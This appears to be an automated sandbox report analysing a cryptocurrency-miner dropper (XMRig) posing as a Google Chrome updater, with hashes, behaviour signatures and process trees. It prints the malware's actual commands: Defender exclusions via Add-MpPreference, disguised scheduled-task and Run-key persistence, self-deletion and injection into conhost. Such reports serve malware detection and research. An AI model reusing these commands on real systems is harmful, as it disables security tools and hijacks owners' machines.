Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
461s -
max time network
1796s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Yvdp8t5knpQz7sFB.exeupdater.execonhost.exedescription pid process target process PID 1720 created 1204 1720 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 1720 created 1204 1720 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 1720 created 1204 1720 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 1720 created 1204 1720 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 2656 created 1204 2656 updater.exe Explorer.EXE PID 2656 created 1204 2656 updater.exe Explorer.EXE PID 2656 created 1204 2656 updater.exe Explorer.EXE PID 2656 created 1204 2656 updater.exe Explorer.EXE PID 2560 created 1204 2560 conhost.exe Explorer.EXE PID 2656 created 1204 2656 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral31/memory/1988-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1988-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2712 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2656 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2844 taskeng.exe -
Processes:
resource yara_rule behavioral31/memory/1988-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1988-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2656 set thread context of 2560 2656 updater.exe conhost.exe PID 2656 set thread context of 1988 2656 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Yvdp8t5knpQz7sFB.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Yvdp8t5knpQz7sFB.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1660 schtasks.exe 2832 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b083140b404fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
Yvdp8t5knpQz7sFB.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1720 Yvdp8t5knpQz7sFB.exe 1720 Yvdp8t5knpQz7sFB.exe 2168 powershell.exe 1720 Yvdp8t5knpQz7sFB.exe 1720 Yvdp8t5knpQz7sFB.exe 2776 powershell.exe 1720 Yvdp8t5knpQz7sFB.exe 1720 Yvdp8t5knpQz7sFB.exe 1720 Yvdp8t5knpQz7sFB.exe 1720 Yvdp8t5knpQz7sFB.exe 2848 powershell.exe 2656 updater.exe 2656 updater.exe 2472 powershell.exe 2656 updater.exe 2656 updater.exe 1196 powershell.exe 2656 updater.exe 2656 updater.exe 2656 updater.exe 2656 updater.exe 2560 conhost.exe 2560 conhost.exe 2656 updater.exe 2656 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2168 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeDebugPrivilege 2656 updater.exe Token: SeAssignPrimaryTokenPrivilege 292 WMIC.exe Token: SeIncreaseQuotaPrivilege 292 WMIC.exe Token: SeSecurityPrivilege 292 WMIC.exe Token: SeTakeOwnershipPrivilege 292 WMIC.exe Token: SeLoadDriverPrivilege 292 WMIC.exe Token: SeSystemtimePrivilege 292 WMIC.exe Token: SeBackupPrivilege 292 WMIC.exe Token: SeRestorePrivilege 292 WMIC.exe Token: SeShutdownPrivilege 292 WMIC.exe Token: SeSystemEnvironmentPrivilege 292 WMIC.exe Token: SeUndockPrivilege 292 WMIC.exe Token: SeManageVolumePrivilege 292 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 292 WMIC.exe Token: SeIncreaseQuotaPrivilege 292 WMIC.exe Token: SeSecurityPrivilege 292 WMIC.exe Token: SeTakeOwnershipPrivilege 292 WMIC.exe Token: SeLoadDriverPrivilege 292 WMIC.exe Token: SeSystemtimePrivilege 292 WMIC.exe Token: SeBackupPrivilege 292 WMIC.exe Token: SeRestorePrivilege 292 WMIC.exe Token: SeShutdownPrivilege 292 WMIC.exe Token: SeSystemEnvironmentPrivilege 292 WMIC.exe Token: SeUndockPrivilege 292 WMIC.exe Token: SeManageVolumePrivilege 292 WMIC.exe Token: SeLockMemoryPrivilege 1988 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2776 wrote to memory of 2832 2776 powershell.exe schtasks.exe PID 2776 wrote to memory of 2832 2776 powershell.exe schtasks.exe PID 2776 wrote to memory of 2832 2776 powershell.exe schtasks.exe PID 2712 wrote to memory of 2872 2712 cmd.exe choice.exe PID 2712 wrote to memory of 2872 2712 cmd.exe choice.exe PID 2712 wrote to memory of 2872 2712 cmd.exe choice.exe PID 2848 wrote to memory of 2632 2848 powershell.exe schtasks.exe PID 2848 wrote to memory of 2632 2848 powershell.exe schtasks.exe PID 2848 wrote to memory of 2632 2848 powershell.exe schtasks.exe PID 2844 wrote to memory of 2656 2844 taskeng.exe updater.exe PID 2844 wrote to memory of 2656 2844 taskeng.exe updater.exe PID 2844 wrote to memory of 2656 2844 taskeng.exe updater.exe PID 1196 wrote to memory of 1660 1196 powershell.exe schtasks.exe PID 1196 wrote to memory of 1660 1196 powershell.exe schtasks.exe PID 1196 wrote to memory of 1660 1196 powershell.exe schtasks.exe PID 2656 wrote to memory of 2560 2656 updater.exe conhost.exe PID 1328 wrote to memory of 292 1328 cmd.exe WMIC.exe PID 1328 wrote to memory of 292 1328 cmd.exe WMIC.exe PID 1328 wrote to memory of 292 1328 cmd.exe WMIC.exe PID 2656 wrote to memory of 1988 2656 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1204
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2832 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1660 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1592 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:292 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2560 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1988
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2872
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656
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C:\Windows\system32\taskeng.exetaskeng.exe {CFC851A8-6ECE-4C12-B397-EB234F9A45C5} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2844
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
160KB
MD59365fa2ef72675e2ff822bf9ec4fba8b
SHA1210cdf0a01f22f2232c376ab8b2e9b5bde359186
SHA25661ebe0ed49db8bfff366fe84276ffe43f528f4ecb4850589f9342a3257cb2b1f
SHA5126e05993fbc2cddd7511c4b2f7ac05903071a218fdd63f5e2ee6f41be4fcb9906d4464c099a349928e651aab1b3281a32197eab1ed3aed679d9b02b084a84e06f
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Filesize
226KB
MD5dfba763355883237a4f8e279feca6d9f
SHA14885d798fed33c5cf7518e616a1231fed6f8396b
SHA2563586bd91a4a99b74ae47d4cd2f33b05eb06eaf15ea1c44e2a1fb37b6f5d44999
SHA512cd5ad86c6e3dfc06c275ebb02195c443f7da4052f72dc0fcf7b78160b0a4d4a46dec75123685b7a516070913e35ae0e65f7541d0c932b13529396f574e7add7a
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZMICTEDDTJT33P9SWQE1.temp
Filesize7KB
MD5c9f69fd3c706e38659e809895a14f521
SHA1400e944b7d0b6dea05c834c4d9e5a253ce0ea44c
SHA256c7a7e2c413f1ca3a5e274355c3df0439aa8e04e50575cca4481ae385035d19c2
SHA512d1060795c19de321a5c875c8f41234c07acda77e238641944b85850d9458d5faaafd1959cdb04ece01e05c320d7bc01effb276ff066676779289a8935c4144db
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Filesize
207KB
MD54c231bc6bb9c0db101a3c86bfdb22b71
SHA12bb887a5dcb325568d1b43d8890fcf1f52156045
SHA2560c159dd62a6b4c65a40c8677da83673bbf5709a8259159b17d941fd86bac9f2e
SHA51217e3f5a09b0edb48251885983b690841fb688817de8853ac4077a69e4d919a289a5272f8a3ead2cc920f6e994741f63d26796c02a56b3816eada8a6a9c75e111